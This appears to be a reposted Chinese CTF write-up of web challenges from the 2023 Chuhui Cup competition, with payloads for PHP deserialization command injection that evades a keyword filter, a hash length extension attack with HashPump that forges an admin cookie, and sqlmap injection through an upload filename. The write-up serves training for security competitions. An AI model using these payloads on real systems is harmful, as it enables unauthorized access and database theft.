2023年国家基地“楚慧杯”网络空间安全实践能力竞赛 Web方向 题解wp

前言:三小时的比赛,和强网同时结束还要当场交wp,汗流浃背,烧起来了啊啊啊啊~

eaaeval

目录扫出备份文件

image-20231217142018364

源码如下

<?php
class Flag{
    
    
    public $a;
    public $b;
    public function __construct(){
    
    
        $this->a = 'admin';
        $this->b = 'admin';
    }

    public function __destruct(){
    
    
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
    
    
		system($this->a.' '.$this->b);
	    }else{
    
    
                echo "again?";
        }
    }
}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

简单反序列化,一点点小过滤(JB到期了呜呜呜)

image-20231217142034440

<?php
class Flag{
    
    
    public $a;
    public $b;
    public function __construct(){
    
    
        $this->a = 'admin';
        $this->b = 'admin';
    }

    public function __destruct(){
    
    
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
    
    
		system($this->a.' '.$this->b);
	    }else{
    
    
                echo "again?";
        }
    }
}

$a=new Flag();
$a->a='strings';
$a->b='/f*';

echo serialize($a);
?>

payload:

?wzbz=O:4:"Flag":2:{s:1:"a";s:7:"strings";s:1:"b";s:3:"/f*";}

image-20231217150813991

upload_shell

直接俄给了源码,哈希长度扩展攻击。

image-20231217162926247

参考我*CTF的题解

扫描二维码关注公众号,回复: 17285484 查看本文章

-----------------------------------------------【以下是当时wp】-----------------------------------------------

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

image-20230729125528005

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20230729174000742

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

image-20230729174706600

-----------------------------------------------【以上是当时wp】-----------------------------------------------

hashpump

Input Signature                    #现有哈希值(题目给的MD5)
879bd10c8628894d388c068a25326c21

Input Data                         #已知字符串
adminpassword

Input Key Length                   #为密文(salt)长度
14

Input Data to Add                  #为补位后自己加的字符串(自定义)
Jay17

image-20231217175435005

得到:

2d01cf1b05a07a2bdfe458fbecabb216

adminpassword\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00Jay17

payload:

POST /login.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 148
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=b2a058112188061e22962bd7929d4b76;source=2d01cf1b05a07a2bdfe458fbecabb216
Connection: close

password=password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00Jay17&username=admin

哈希扩展攻击成功后,身份是admin,在upload.php处可以就行文件上传

文件名是注入点

image-20231217145338757

image-20231217150103313

没有像XCTF upload这题一样有回显,手工尝试后只有插入失败、Warning、上传成功等等,看不透后端语句。

舍弃灵魂上sqlmap。

-r 请求模式 从文件中载入http请求

-D 指定要枚举的数据库名称

-T 指定要枚举的表名称

-C 指定要枚举的列名称

payload:

python sqlmap.py -r requests.txt -D test -T flag -C flag --dump

requests.txt文件内容:

POST /upload.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 299
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8J39FBXAAZS2tGHK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: source=2d01cf1b05a07a2bdfe458fbecabb216; PHPSESSID=b2a058112188061e22962bd7929d4b76
Connection: close

------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="file"; filename="'123*'.jpg"
Content-Type: image/jpeg

<1
------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundary8J39FBXAAZS2tGHK--

注意点:'123*'.jpg*是为了指定注入点。

image-20231217182105279

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/135048419
今日推荐